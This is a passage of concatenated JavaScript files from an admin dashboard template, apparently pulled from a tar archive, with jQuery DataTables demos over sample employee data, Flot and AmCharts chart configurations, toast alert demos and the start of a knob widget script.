table.$('tr.selected').removeClass('selected'); $(this).addClass('selected'); } }); // Plugin data table $.fn.dataTable.Api.register('column().data().sum()', function() { return this.reduce(function(a, b) { var x = parseFloat(a) || 0; var y = parseFloat(b) || 0; return x + y; }); }); /* Init the table and fire off a call to get the hidden nodes. */ var table = $('#dt-plugin-method').DataTable(); $('<button class="btn btn-primary m-b-20">sum of age in all rows</button>') .prependTo('.dt-plugin-buttons') .on('click', function() { alert('Column sum is: ' + table.column(3).data().sum()); }); $('<button class="btn btn-primary m-r-10 m-b-20">sum of age of visible rows</button>') .prependTo('.dt-plugin-buttons') .on('click', function() { alert('Column sum is: ' + table.column(3, { page: 'current' }).data().sum()); }); $.fn.dataTable.ext.type.detect.unshift( function(d) { return d === 'Low' || d === 'Medium' || d === 'High' ? 'salary-grade' : null; } ); $.fn.dataTable.ext.type.order['salary-grade-pre'] = function(d) { switch (d) { case 'Low': return 1; case 'Medium': return 2; case 'High': return 3; } return 0; }; $('#dt-ordering').DataTable(); /* Custom filtering function which will search data in column four between two values */ $.fn.dataTable.ext.search.push( function(settings, data, dataIndex) { var min = parseInt($('#min').val(), 10); var max = parseInt($('#max').val(), 10); var age = parseFloat(data[3]) || 0; // use data for the age column if ((isNaN(min) && isNaN(max)) || (isNaN(min) && age <= max) || (min <= age && isNaN(max)) || (min <= age && age <= max)) { return true; } return false; } ); var dtage = $('#dt-range').DataTable(); // Event listener to the two range filtering inputs to redraw on input $('#min, #max').keyup(function() { dtage.draw(); }); /* Create an array with the values of all the input boxes in a column */ $.fn.dataTable.ext.order['dom-text'] = function(settings, col) { return this.api().column(col, { order: 'index' }).nodes().map(function(td, i) { return $('input', td).val(); }); } /* Create an array with the values of all the input boxes in a column, parsed as numbers */ $.fn.dataTable.ext.order['dom-text-numeric'] = function(settings, col) { return this.api().column(col, { order: 'index' }).nodes().map(function(td, i) { return $('input', td).val() * 1; }); } /* Create an array with the values of all the select options in a column */ $.fn.dataTable.ext.order['dom-select'] = function(settings, col) { return this.api().column(col, { order: 'index' }).nodes().map(function(td, i) { return $('select', td).val(); }); } /* Create an array with the values of all the checkboxes in a column */ $.fn.dataTable.ext.order['dom-checkbox'] = function(settings, col) { return this.api().column(col, { order: 'index' }).nodes().map(function(td, i) { return $('input', td).prop('checked') ? '1' : '0'; }); } /* Initialise the table with the required column ordering data types */ $(document).ready(function() { $('#dt-live-dom').DataTable({ "columns": [ null, { "orderDataType": "dom-text-numeric" }, { "orderDataType": "dom-text", type: 'string' }, { "orderDataType": "dom-select" } ] }); }); // Server side processing Data-table $('#dt-server-processing').DataTable({ "processing": true, "serverSide": true, "ajax": "dt-json-data/scripts/server-processing.php", "columns": [ { "data": "first_name" }, { "data": "last_name" }, { "data": "position" }, { "data": "office" }, { "data": "start_date" }, { "data": "salary" } ] }); $('#dt-http').DataTable({ "processing": true, "serverSide": true, "ajax": { url: "dt-json-data/scripts/server-processing.php", data: function(d) { d.myKey = "myValue"; // d.custom = $('#myInput').val(); // etc } }, "columns": [ { "data": "first_name" }, { "data": "last_name" }, { "data": "position" }, { "data": "office" }, { "data": "start_date" }, { "data": "salary" } ] }); $('#dt-post').DataTable({ "processing": true, "serverSide": true, "ajax": { url: "dt-json-data/scripts/post.php", type: "post" }, "columns": [ { "data": "first_name" }, { "data": "last_name" }, { "data": "position" }, { "data": "office" }, { "data": "start_date" }, { "data": "salary" } ] }); // Data-table ajax $('#dt-ajax-array').DataTable({ "ajax": "dt-json-data/arrays.txt" }); $('#dt-ajax-object').DataTable({ "ajax": "dt-json-data/objects.txt", "columns": [ { "data": "name" }, { "data": "position" }, { "data": "office" }, { "data": "extn" }, { "data": "start_date" }, { "data": "salary" } ] }); $('#dt-nested-object').DataTable({ "processing": true, "ajax": "dt-json-data/objects_deep.txt", "columns": [ { "data": "name" }, { "data": "hr.position" }, { "data": "contact.0" }, { "data": "contact.1" }, { "data": "hr.start_date" }, { "data": "hr.salary" } ] }); $('#dt-orthogonal').DataTable({ ajax: "dt-json-data/orthogonal.txt", columns: [ { data: "name" }, { data: "position" }, { data: "office" }, { data: "extn" }, { data: { _: "start_date.display", sort: "start_date.timestamp" } }, { data: "salary" } ] }); var generatetable = $('#dt-generate-content').DataTable({ "ajax": "dt-json-data/arrays.txt", "columnDefs": [{ "targets": -1, "data": null, "defaultContent": "<button>Click!</button>" }] }); $('#dt-generate-content tbody').on('click', 'button', function() { var data = generatetable.row($(this).parents('tr')).data(); alert(data[0] + "'s salary is: " + data[5]); }); $('#dt-render').DataTable({ "ajax": "dt-json-data/arrays.txt", "deferRender": true }); // Data source table js start $('#dom-table').DataTable(); $('#ajax-table').DataTable({ "ajax": 'dt-json-data/ajax-table.json' }); // Jsource table start var dataSet = [ ["Tiger Nixon", "System Architect", "Edinburgh", "5421", "2011/04/25", "$320,800"], ["Garrett Winters", "Accountant", "Tokyo", "8422", "2011/07/25", "$170,750"], ["Ashton Cox", "Junior Technical Author", "San Francisco", "1562", "2009/01/12", "$86,000"], ["Cedric Kelly", "Senior Javascript Developer", "Edinburgh", "6224", "2012/03/29", "$433,060"], ["Airi Satou", "Accountant", "Tokyo", "5407", "2008/11/28", "$162,700"], ["Brielle Williamson", "Integration Specialist", "New York", "4804", "2012/12/02", "$372,000"], ["Herrod Chandler", "Sales Assistant", "San Francisco", "9608", "2012/08/06", "$137,500"], ["Rhona Davidson", "Integration Specialist", "Tokyo", "6200", "2010/10/14", "$327,900"], ["Colleen Hurst", "Javascript Developer", "San Francisco", "2360", "2009/09/15", "$205,500"], ["Sonya Frost", "Software Engineer", "Edinburgh", "1667", "2008/12/13", "$103,600"], ["Jena Gaines", "Office Manager", "London", "3814", "2008/12/19", "$90,560"], ["Quinn Flynn", "Support Lead", "Edinburgh", "9497", "2013/03/03", "$342,000"], ["Charde Marshall", "Regional Director", "San Francisco", "6741", "2008/10/16", "$470,600"], ["Haley Kennedy", "Senior Marketing Designer", "London", "3597", "2012/12/18", "$313,500"], ["Tatyana Fitzpatrick", "Regional Director", "London", "1965", "2010/03/17", "$385,750"], ["Michael Silva", "Marketing Designer", "London", "1581", "2012/11/27", "$198,500"], ["Paul Byrd", "Chief Financial Officer (CFO)", "New York", "3059", "2010/06/09", "$725,000"], ["Gloria Little", "Systems Administrator", "New York", "1721", "2009/04/10", "$237,500"], ["Bradley Greer", "Software Engineer", "London", "2558", "2012/10/13", "$132,000"], ["Dai Rios", "Personnel Lead", "Edinburgh", "2290", "2012/09/26", "$217,500"], ["Jenette Caldwell", "Development Lead", "New York", "1937", "2011/09/03", "$345,000"], ["Yuri Berry", "Chief Marketing Officer (CMO)", "New York", "6154", "2009/06/25", "$675,000"], ["Caesar Vance", "Pre-Sales Support", "New York", "8330", "2011/12/12", "$106,450"], ["Doris Wilder", "Sales Assistant", "Sidney", "3023", "2010/09/20", "$85,600"], ["Angelica Ramos", "Chief Executive Officer (CEO)", "London", "5797", "2009/10/09", "$1,200,000"], ["Gavin Joyce", "Developer", "Edinburgh", "8822", "2010/12/22", "$92,575"], ["Jennifer Chang", "Regional Director", "Singapore", "9239", "2010/11/14", "$357,650"], ["Brenden Wagner", "Software Engineer", "San Francisco", "1314", "2011/06/07", "$206,850"], ["Fiona Green", "Chief Operating Officer (COO)", "San Francisco", "2947", "2010/03/11", "$850,000"], ["Shou Itou", "Regional Marketing", "Tokyo", "8899", "2011/08/14", "$163,000"], ["Michelle House", "Integration Specialist", "Sidney", "2769", "2011/06/02", "$95,400"], ["Suki Burks", "Developer", "London", "6832", "2009/10/22", "$114,500"], ["Prescott Bartlett", "Technical Author", "London", "3606", "2011/05/07", "$145,000"], ["Gavin Cortez", "Team Leader", "San Francisco", "2860", "2008/10/26", "$235,500"], ["Martena Mccray", "Post-Sales support", "Edinburgh", "8240", "2011/03/09", "$324,050"], ["Unity Butler", "Marketing Designer", "San Francisco", "5384", "2009/12/09", "$85,675"] ]; $('#jsource-table').DataTable({ data: dataSet, columns: [ { title: "Name" }, { title: "Position" }, { title: "Office" }, { title: "Extn." }, { title: "Start date" }, { title: "Salary" } ] }); // Jsource table end // Server side script table start $('#server-table').DataTable({ "processing": true, "serverSide": true, "ajax": "dt-json-data/server-table.php" }); // Server side script table end // Data source table js end // Api table js start var t = $('#add-row-table').DataTable(); var counter = 1; $('#addRow').on('click', function() { t.row.add([ counter + '.1', counter + '.2', counter + '.3', counter + '.4', counter + '.5' ]).draw(false); counter++; }); // Automatically add a first row of data $('#addRow').click(); // Setup - add a text input to each footer cell $('#footer-search tfoot th').each(function() { var title = $(this).text(); $(this).html('<input type="text" class="form-control" placeholder="Search ' + title + '" />'); }); // DataTable var table = $('#footer-search').DataTable(); // Apply the search table.columns().every(function() { var that = this; $('input', this.footer()).on('keyup change', function() { if (that.search() !== this.value) { that .search(this.value) .draw(); } }); }); $('#footer-select').DataTable({ initComplete: function() { this.api().columns().every(function() { var column = this; var select = $('<select class="form-control form-control-sm"><option value=""></option></select>') .appendTo($(column.footer()).empty()) .on('change', function() { var val = $.fn.dataTable.util.escapeRegex( $(this).val() ); column .search(val ? '^' + val + '$' : '', true, false) .draw(); }); column.data().unique().sort().each(function(d, j) { select.append('<option value="' + d + '">' + d + '</option>') }); }); } }); // Add Rows start var srow = $('#row-select').DataTable(); $('#row-select tbody').on('click', 'tr', function() { $(this).toggleClass('selected'); }); $('#row-select-btn').on('click',function() { alert(srow.rows('.selected').data().length + ' row(s) selected'); }); // Add Rows end // Delete rows start var drow = $('#row-delete').DataTable(); $('#row-delete tbody').on('click', 'tr', function() { if ($(this).hasClass('selected')) { $(this).removeClass('selected'); } else { drow.$('tr.selected').removeClass('selected'); $(this).addClass('selected'); } }); $('#row-delete-btn').on('click',function() { drow.row('.selected').remove().draw(!1); }); // Delete rows end // /* Formatting function for row details - modify as you need */ function format(d) { // `d` is the original data object for the row return '<table cellpadding="5" cellspacing="0" border="0" style="padding-left:50px;">' + '<tr>' + '<td>Full name:</td>' + '<td>' + d.name + '</td>' + '</tr>' + '<tr>' + '<td>Extension number:</td>' + '<td>' + d.extn + '</td>' + '</tr>' + '<tr>' + '<td>Extra info:</td>' + '<td>And any further details here (images etc)...</td>' + '</tr>' + '</table>'; } var ct = $('#child-table').DataTable({ "ajax": "dt-json-data/ajax-child-rows.json", "columns": [{ "className": 'details-control', "orderable": false, "data": null, "defaultContent": '' }, { "data": "name" }, { "data": "position" }, { "data": "office" }, { "data": "salary" } ], "order": [ [1, 'asc'] ] }); // Add event listener for opening and closing details $('#child-table tbody').on('click', 'td.details-control', function() { var tr = $(this).closest('tr'); var row = ct.row(tr); if (row.child.isShown()) { // This row is already open - close it row.child.hide(); tr.removeClass('shown'); } else { // Open this row row.child(format(row.data())).show(); tr.addClass('shown'); } }); // Form input start var table = $('#form-input-table').DataTable(); $('#form-input-btn').on('click',function() { var data = table.$('input, select').serialize(); alert( "The following data would have been submitted to the server: \n\n" + data.substr(0, 120) + '...' ); return false; }); // Form input end // Show-hide table js start var sh = $('#show-hide-table').DataTable({ "scrollY": "200px", "paging": false }); $('a.toggle-vis').on('click', function(e) { e.preventDefault(); // Get the column API object var column = sh.column($(this).attr('data-column')); // Toggle the visibility column.visible(!column.visible()); }); // Show-hide table js end // Search API start function filterGlobal() { $('#search-api').DataTable().search( $('#global_filter').val(), $('#global_regex').prop('checked'), $('#global_smart').prop('checked') ).draw(); } function filterColumn(i) { $('#search-api').DataTable().column(i).search( $('#col' + i + '_filter').val(), $('#col' + i + '_regex').prop('checked'), $('#col' + i + '_smart').prop('checked') ).draw(); } $('#search-api').DataTable(); $('input.global_filter').on('keyup click', function() { filterGlobal(); }); $('input.column_filter').on('keyup click', function() { filterColumn($(this).parents('tr').attr('data-column')); }); // Search API end // Api table js end // Styling js start $('#base-style').DataTable(); $('#no-style').DataTable(); $('#compact').DataTable(); $('#table-style-hover').DataTable(); // Styling js end $('#simpletable').DataTable(); $('#order-table').DataTable({ "order": [ [3, "desc"] ] }); $('#multi-colum-dt').DataTable({ columnDefs: [{ targets: [0], orderData: [0, 1] }, { targets: [1], orderData: [1, 0] }, { targets: [4], orderData: [4, 0] }] }); $('#complex-dt').DataTable(); $('#DOM-dt').DataTable({ "dom": '<"top"i>rt<"bottom"flp><"clear">' }); $('#alt-pg-dt').DataTable({ "pagingType": "full_numbers" }); $('#scr-vrt-dt').DataTable({ "scrollY": "200px", "scrollCollapse": true, "paging": false }); $('#scr-vtr-dynamic').DataTable({ scrollY: '50vh', scrollCollapse: true, paging: false }); $('#lang-dt').DataTable({ "language": { "decimal": ",", "thousands": "." } }); var table = $('#dom-jqry').DataTable(); $('#dom-jqry tbody').on('click', 'tr', function() { var data = table.row(this).data(); alert('You clicked on ' + data[0] + '\'s row'); }); $('#colum-rendr').DataTable({ "columnDefs": [{ // The `data` parameter refers to the data for the cell (defined by the // `data` option, which defaults to the column being worked with, in // this case `data: 0`. "render": function(data, type, row) { return data + ' (' + row[3] + ')'; }, "targets": 0 }, { "visible": false, "targets": [3] } ] }); $('#multi-table').DataTable({ "dom": '<"top"iflp<"clear">>rt<"bottom"iflp<"clear">>' }); $('#complex-header').DataTable({ "columnDefs": [{ "visible": false, "targets": -1 }] }); $('#lang-file').DataTable({ "language": { "url": "//cdn.datatables.net/plug-ins/9dcbecd42ad/i18n/German.json" } }); $.extend(true, $.fn.dataTable.defaults, { "searching": false, "ordering": false }); $('#setting-default').DataTable(); var table = $('#row-grouping').DataTable({ "columnDefs": [ { "visible": false, "targets": 2 } ], "order": [ [2, 'asc'] ], "displayLength": 25, "drawCallback": function(settings) { var api = this.api(); var rows = api.rows({ page: 'current' }).nodes(); var last = null; api.column(2, { page: 'current' }).data().each(function(group, i) { if (last !== group) { $(rows).eq(i).before( '<tr class="group"><td colspan="5">' + group + '</td></tr>' ); last = group; } }); } }); // Order by the grouping $('#row-grouping tbody').on('click', 'tr.group', function() { var currentOrder = table.order()[0]; if (currentOrder[0] === 2 && currentOrder[1] === 'asc') { table.order([2, 'desc']).draw(); } else { table.order([2, 'asc']).draw(); } }); $('#footer-callback').DataTable({ "footerCallback": function(row, data, start, end, display) { var api = this.api(), data; // Remove the formatting to get integer data for summation var intVal = function(i) { return typeof i === 'string' ? i.replace(/[\$,]/g, '') * 1 : typeof i === 'number' ? i : 0; }; // Total over all pages total = api .column(4) .data() .reduce(function(a, b) { return intVal(a) + intVal(b); }, 0); // Total over this page pageTotal = api .column(4, { page: 'current' }) .data() .reduce(function(a, b) { return intVal(a) + intVal(b); }, 0); // Update footer $(api.column(4).footer()).html( '$' + pageTotal + ' ( $' + total + ' total)' ); } }); $('#custm-tool-ele').DataTable({ "dom": '<"toolbar">frtip' }); $("div.toolbar").html('<b>Custom tool bar! Text/images etc.</b>'); $('#row-callback').DataTable({ "createdRow": function(row, data, index) { if (data[5].replace(/[\$,]/g, '') * 1 > 150000) { $('td', row).eq(5).addClass('highlight'); } } }); }); widget-data.js 0000644 00000007762 15167670232 0007321 0 ustar 00 'use strict'; $(document).ready(function() { floatchart() $(window).on('resize', function() { floatchart(); }); $('#mobile-collapse').on('click', function() { setTimeout(function() { floatchart(); }, 700); }); var ps = new PerfectScrollbar(".scroll-widget", { wheelSpeed: 10, wheelPropagation: true, minScrollbarLength: 5 }); }); function floatchart() { $(function() { //flot options var options = { legend: { show: false }, series: { label: "", curvedLines: { active: true, nrSplinePoints: 20 }, }, tooltip: { show: true, content: "x : %x | y : %y" }, grid: { hoverable: true, borderWidth: 0, labelMargin: 0, axisMargin: 0, minBorderMargin: 0, }, yaxis: { min: 0, max: 30, color: 'transparent', font: { size: 0, } }, xaxis: { color: 'transparent', font: { size: 0, } } }; $.plot($("#app-sale1"), [{ data: [ [0, 18], [20, 10], [35, 20], [50, 10], [65, 27], [75, 15], [90, 20], ], color: "#ff5252", lines: { show: true, fill: false, lineWidth: 3 }, points: { show: false }, //curve the line (old pre 1.0.0 plotting function) curvedLines: { apply: true, } }], options); $.plot($("#app-sale2"), [{ data: [ [0, 10], [20, 25], [35, 27], [50, 10], [65, 20], [75, 10], [90, 18], ], color: "#448aff", lines: { show: true, fill: false, lineWidth: 3 }, points: { show: false }, //curve the line (old pre 1.0.0 plotting function) curvedLines: { apply: true, } }], options); $.plot($("#app-sale3"), [{ data: [ [0, 18], [20, 10], [35, 20], [50, 10], [65, 27], [75, 15], [90, 20], ], color: "#ffba57", lines: { show: true, fill: false, lineWidth: 3 }, points: { show: false }, //curve the line (old pre 1.0.0 plotting function) curvedLines: { apply: true, } }], options); $.plot($("#app-sale4"), [{ data: [ [0, 10], [20, 25], [35, 27], [50, 10], [65, 20], [75, 10], [90, 18], ], color: "#9ccc65", lines: { show: true, fill: false, lineWidth: 3 }, points: { show: false }, //curve the line (old pre 1.0.0 plotting function) curvedLines: { apply: true, } }], options); }); } chart-amcharts.js 0000644 00000045763 15167670232 0010033 0 ustar 00 "use strict"; $(document).ready(function() { var chart = AmCharts.makeChart("3D_pie_chart", { "type": "pie", "theme": "none", "dataProvider": [{ "country": "Lithuania", "value": 260 }, { "country": "Ireland", "value": 201 }, { "country": "Germany", "value": 65 }, { "country": "Australia", "value": 39 }, { "country": "UK", "value": 19 }, { "country": "Latvia", "value": 10 }], "valueField": "value", "titleField": "country", "outlineAlpha": 0.4, "depth3D": 15, "balloonText": "[[title]]<br><span style='font-size:14px'><b>[[value]]</b> ([[percents]]%)</span>", "angle": 30, "export": { "enabled": true } }); var chart = AmCharts.makeChart("bar_chart", { "type": "serial", "theme": "light", "dataDateFormat": "YYYY-MM-DD", "precision": 2, "valueAxes": [{ "id": "v1", "fontSize": 0, "axisAlpha": 0, "lineAlpha": 0, "gridAlpha": 0, "position": "left", "autoGridCount": false, "labelFunction": function(value) { return "$" + Math.round(value) + "M"; } }], "graphs": [{ "id": "g3", "valueAxis": "v1", "lineColor": "#2ed8b6", "fillColors": "#2ed8b6", "fillAlphas": 0.3, "type": "column", "title": "Actual Sales", "valueField": "sales2", "columnWidth": 0.5, "legendValueText": "$[[value]]M", "balloonText": "[[title]]<br /><b style='font-size: 130%'>$[[value]]M</b>" }, { "id": "g4", "valueAxis": "v1", "lineColor": "#2ed8b6", "fillColors": "#2ed8b6", "fillAlphas": 1, "type": "column", "title": "Target Sales", "valueField": "sales1", "columnWidth": 0.5, "legendValueText": "$[[value]]M", "balloonText": "[[title]]<br /><b style='font-size: 130%'>$[[value]]M</b>" }], "chartCursor": { "pan": true, "valueLineEnabled": true, "valueLineBalloonEnabled": true, "cursorAlpha": 0, "valueLineAlpha": 0.2 }, "categoryField": "date", "categoryAxis": { "parseDates": true, "axisAlpha": 0, "lineAlpha": 0, "gridAlpha": 0, "minorGridEnabled": true, }, "balloon": { "borderThickness": 1, "shadowAlpha": 0 }, "export": { "enabled": true }, "dataProvider": [{ "date": "2013-01-16", "sales1": 5, "sales2": 8 }, { "date": "2013-01-17", "sales1": 4, "sales2": 6 }, { "date": "2013-01-18", "sales1": 5, "sales2": 2 }, { "date": "2013-01-19", "sales1": 8, "sales2": 9 }, { "date": "2013-01-20", "sales1": 9, "sales2": 6 }] }); var chart = AmCharts.makeChart("smoothed_line_chart", { "type": "serial", "theme": "none", "marginTop": 0, "marginRight": 80, "dataProvider": [{ "year": "1950", "value": -0.307 }, { "year": "1951", "value": -0.168 }, { "year": "1952", "value": -0.073 }, { "year": "1953", "value": -0.027 }, { "year": "1954", "value": -0.251 }, { "year": "1955", "value": -0.281 }, { "year": "1956", "value": -0.348 }, { "year": "1957", "value": -0.074 }, { "year": "1958", "value": -0.011 }, { "year": "1959", "value": -0.074 }, { "year": "1960", "value": -0.124 }, { "year": "1961", "value": -0.024 }, { "year": "1962", "value": -0.022 }, { "year": "1963", "value": 0 }, { "year": "1964", "value": -0.296 }, { "year": "1965", "value": -0.217 }, { "year": "1966", "value": -0.147 }, { "year": "1967", "value": -0.15 }, { "year": "1968", "value": -0.16 }, { "year": "1969", "value": -0.011 }, { "year": "1970", "value": -0.068 }, { "year": "1971", "value": -0.19 }, { "year": "1972", "value": -0.056 }, { "year": "1973", "value": 0.077 }, { "year": "1974", "value": -0.213 }, { "year": "1975", "value": -0.17 }, { "year": "1976", "value": -0.254 }, { "year": "1977", "value": 0.019 }, { "year": "1978", "value": -0.063 }, { "year": "1979", "value": 0.05 }, { "year": "1980", "value": 0.077 }, { "year": "1981", "value": 0.12 }, { "year": "1982", "value": 0.011 }, { "year": "1983", "value": 0.177 }, { "year": "1984", "value": -0.021 }, { "year": "1985", "value": -0.037 }, { "year": "1986", "value": 0.03 }, { "year": "1987", "value": 0.179 }, { "year": "1988", "value": 0.18 }, { "year": "1989", "value": 0.104 }, { "year": "1990", "value": 0.255 }, { "year": "1991", "value": 0.21 }, { "year": "1992", "value": 0.065 }, { "year": "1993", "value": 0.11 }, { "year": "1994", "value": 0.172 }, { "year": "1995", "value": 0.269 }, { "year": "1996", "value": 0.141 }, { "year": "1997", "value": 0.353 }, { "year": "1998", "value": 0.548 }, { "year": "1999", "value": 0.298 }, { "year": "2000", "value": 0.267 }, { "year": "2001", "value": 0.411 }, { "year": "2002", "value": 0.462 }, { "year": "2003", "value": 0.47 }, { "year": "2004", "value": 0.445 }, { "year": "2005", "value": 0.47 }], "valueAxes": [{ "axisAlpha": 0, "position": "left" }], "graphs": [{ "id": "g1", "balloonText": "[[category]]<br><b><span style='font-size:14px;'>[[value]]</span></b>", "bullet": "round", "bulletSize": 8, "lineColor": "#d1655d", "lineThickness": 2, "negativeLineColor": "#637bb6", "type": "smoothedLine", "valueField": "value" }], "chartScrollbar": { "graph": "g1", "gridAlpha": 0, "color": "#888888", "scrollbarHeight": 55, "backgroundAlpha": 0, "selectedBackgroundAlpha": 0.1, "selectedBackgroundColor": "#888888", "graphFillAlpha": 0, "autoGridCount": true, "selectedGraphFillAlpha": 0, "graphLineAlpha": 0.2, "graphLineColor": "#c2c2c2", "selectedGraphLineColor": "#888888", "selectedGraphLineAlpha": 1 }, "chartCursor": { "categoryBalloonDateFormat": "YYYY", "cursorAlpha": 0, "valueLineEnabled": true, "valueLineBalloonEnabled": true, "valueLineAlpha": 0.5, "fullWidth": true }, "dataDateFormat": "YYYY", "categoryField": "year", "categoryAxis": { "minPeriod": "YYYY", "parseDates": true, "minorGridAlpha": 0.1, "minorGridEnabled": true }, "export": { "enabled": true } }); var gaugeChart = AmCharts.makeChart("angular_guage", { "type": "gauge", "theme": "none", "axes": [{ "axisThickness": 1, "axisAlpha": 0.2, "tickAlpha": 0.2, "valueInterval": 20, "bands": [{ "color": "#84b761", "endValue": 90, "startValue": 0 }, { "color": "#fdd400", "endValue": 130, "startValue": 90 }, { "color": "#cc4748", "endValue": 220, "innerRadius": "95%", "startValue": 130 }], "bottomText": "0 km/h", "bottomTextYOffset": -20, "endValue": 220 }], "arrows": [{}], "export": { "enabled": true } }); setInterval(randomValue, 2000); // set random value function randomValue() { var value = Math.round(Math.random() * 200); if (gaugeChart) { if (gaugeChart.arrows) { if (gaugeChart.arrows[0]) { if (gaugeChart.arrows[0].setValue) { gaugeChart.arrows[0].setValue(value); gaugeChart.axes[0].setBottomText(value + " km/h"); } } } } } var chart = AmCharts.makeChart("line_chart", { "type": "serial", "theme": "light", "dataDateFormat": "YYYY-MM-DD", "precision": 2, "valueAxes": [{ "id": "v1", "position": "left", "autoGridCount": false, "labelFunction": function(value) { return "$" + Math.round(value) + "M"; } }, { "id": "v2", "gridAlpha": 0, "autoGridCount": false }], "graphs": [{ "id": "g1", "valueAxis": "v2", "bullet": "round", "bulletBorderAlpha": 1, "bulletColor": "#FFFFFF", "bulletSize": 8, "hideBulletsCount": 50, "lineThickness": 3, "lineColor": "#2ed8b6", "title": "Market Days", "useLineColorForBulletBorder": true, "valueField": "market1", "balloonText": "[[title]]<br /><b style='font-size: 130%'>[[value]]</b>" }, { "id": "g2", "valueAxis": "v2", "bullet": "round", "bulletBorderAlpha": 1, "bulletColor": "#FFFFFF", "bulletSize": 8, "hideBulletsCount": 50, "lineThickness": 3, "lineColor": "#e95753", "title": "Market Days ALL", "useLineColorForBulletBorder": true, "valueField": "market2", "balloonText": "[[title]]<br /><b style='font-size: 130%'>[[value]]</b>" }], "chartCursor": { "pan": true, "valueLineEnabled": true, "valueLineBalloonEnabled": true, "cursorAlpha": 0, "valueLineAlpha": 0.2 }, "categoryField": "date", "categoryAxis": { "parseDates": true, "dashLength": 1, "minorGridEnabled": true }, "legend": { "useGraphSettings": true, "position": "top" }, "balloon": { "borderThickness": 1, "shadowAlpha": 0 }, "dataProvider": [{ "date": "2013-01-16", "market1": 71, "market2": 75 }, { "date": "2013-01-17", "market1": 80, "market2": 84 }, { "date": "2013-01-18", "market1": 78, "market2": 83 }, { "date": "2013-01-19", "market1": 85, "market2": 88 }, { "date": "2013-01-20", "market1": 87, "market2": 85 }, { "date": "2013-01-21", "market1": 97, "market2": 88 }, { "date": "2013-01-22", "market1": 93, "market2": 88 }, { "date": "2013-01-23", "market1": 85, "market2": 80 }, { "date": "2013-01-24", "market1": 90, "market2": 85 }] }); var map = AmCharts.makeChart("allocation-map", { "type": "map", "theme": "light", "colorSteps": 10, "dataProvider": { "map": "usaLow", "areas": [{ "id": "US-AL", "value": 4447100 }, { "id": "US-AK", "value": 626932 }, { "id": "US-AZ", "value": 5130632 }, { "id": "US-AR", "value": 2673400 }, { "id": "US-CA", "value": 33871648 }, { "id": "US-CO", "value": 4301261 }, { "id": "US-CT", "value": 3405565 }, { "id": "US-DE", "value": 783600 }, { "id": "US-FL", "value": 15982378 }, { "id": "US-GA", "value": 8186453 }, { "id": "US-HI", "value": 1211537 }, { "id": "US-ID", "value": 1293953 }, { "id": "US-IL", "value": 12419293 }, { "id": "US-IN", "value": 6080485 }, { "id": "US-IA", "value": 2926324 }, { "id": "US-KS", "value": 2688418 }, { "id": "US-KY", "value": 4041769 }, { "id": "US-LA", "value": 4468976 }, { "id": "US-ME", "value": 1274923 }, { "id": "US-MD", "value": 5296486 }, { "id": "US-MA", "value": 6349097 }, { "id": "US-MI", "value": 9938444 }, { "id": "US-MN", "value": 4919479 }, { "id": "US-MS", "value": 2844658 }, { "id": "US-MO", "value": 5595211 }, { "id": "US-MT", "value": 902195 }, { "id": "US-NE", "value": 1711263 }, { "id": "US-NV", "value": 1998257 }, { "id": "US-NH", "value": 1235786 }, { "id": "US-NJ", "value": 8414350 }, { "id": "US-NM", "value": 1819046 }, { "id": "US-NY", "value": 18976457 }, { "id": "US-NC", "value": 8049313 }, { "id": "US-ND", "value": 642200 }, { "id": "US-OH", "value": 11353140 }, { "id": "US-OK", "value": 3450654 }, { "id": "US-OR", "value": 3421399 }, { "id": "US-PA", "value": 12281054 }, { "id": "US-RI", "value": 1048319 }, { "id": "US-SC", "value": 4012012 }, { "id": "US-SD", "value": 754844 }, { "id": "US-TN", "value": 5689283 }, { "id": "US-TX", "value": 20851820 }, { "id": "US-UT", "value": 2233169 }, { "id": "US-VT", "value": 608827 }, { "id": "US-VA", "value": 7078515 }, { "id": "US-WA", "value": 5894121 }, { "id": "US-WV", "value": 1808344 }, { "id": "US-WI", "value": 5363675 }, { "id": "US-WY", "value": 493782 }] }, "areasSettings": { "autoZoom": true }, "export": { "enabled": true } }); var chart = AmCharts.makeChart("allocation-chart", { "type": "pie", "startDuration": 0, "theme": "light", "labelRadius": 0, "pullOutRadius": 0, "labelText": "", "colorField": "color", "legend": { // "enabled":false, }, "innerRadius": "70%", "dataProvider": [{ "country": "Lithuania", "litres": 501.9, "color": "#85C5E3" }, { "country": "Czech Republic", "litres": 301.9, "color": "#6AA3C4" }, { "country": "Ireland", "litres": 201.1, "color": "#6097B9" }, { "country": "india", "litres": 220.1, "color": "#4E81A4" }], "valueField": "litres", }); }); alerts.js 0000644 00000005011 15167670232 0006402 0 ustar 00 (function($) { showSuccessToast = function() { 'use strict'; resetToastPosition(); $.toast({ heading: 'Success', text: 'And these were just the basic demos! Scroll down to check further details on how to customize the output.', showHideTransition: 'slide', icon: 'success', loaderBg: '#f96868', position: 'top-right' }) }; showInfoToast = function() { 'use strict'; resetToastPosition(); $.toast({ heading: 'Info', text: 'And these were just the basic demos! Scroll down to check further details on how to customize the output.', showHideTransition: 'slide', icon: 'info', loaderBg: '#46c35f', position: 'top-right' }) }; showWarningToast = function() { 'use strict'; resetToastPosition(); $.toast({ heading: 'Warning', text: 'And these were just the basic demos! Scroll down to check further details on how to customize the output.', showHideTransition: 'slide', icon: 'warning', loaderBg: '#57c7d4', position: 'top-right' }) }; showDangerToast = function() { 'use strict'; resetToastPosition(); $.toast({ heading: 'Danger', text: 'And these were just the basic demos! Scroll down to check further details on how to customize the output.', showHideTransition: 'slide', icon: 'error', loaderBg: '#f2a654', position: 'top-right' }) }; showToastPosition = function(position) { 'use strict'; resetToastPosition(); $.toast({ heading: 'Positioning', text: 'Specify the custom position object or use one of the predefined ones', position: String(position), icon: 'success', stack: false, loaderBg: '#f96868' }) } showToastInCustomPosition = function() { 'use strict'; resetToastPosition(); $.toast({ heading: 'Custom positioning', text: 'Specify the custom position object or use one of the predefined ones', icon: 'success', position: { left: 120, top: 120 }, stack: false, loaderBg: '#f96868' }) } resetToastPosition = function() { $('.jq-toast-wrap').removeClass('bottom-left bottom-right top-left top-right mid-center'); // to remove previous position class $(".jq-toast-wrap").css({ "top": "", "left": "", "bottom": "", "right": "" }); //to remove previous position style } })(jQuery); chart-knob.js 0000644 00000005253 15167670232 0007150 0 ustar 00 "use strict"; $(window).on('resize', function() { $(".dial").knob({ draw: function() { // "tron" case if (this.$.data('skin') == 'tron') { this.cursorExt = 0.3; var a = this.arc(this.cv) // Arc , pa // Previous arc , r = 1; this.g.lineWidth = this.lineWidth; if (this.o.displayPrevious) { pa = this.arc(this.v); this.g.beginPath(); this.g.strokeStyle = 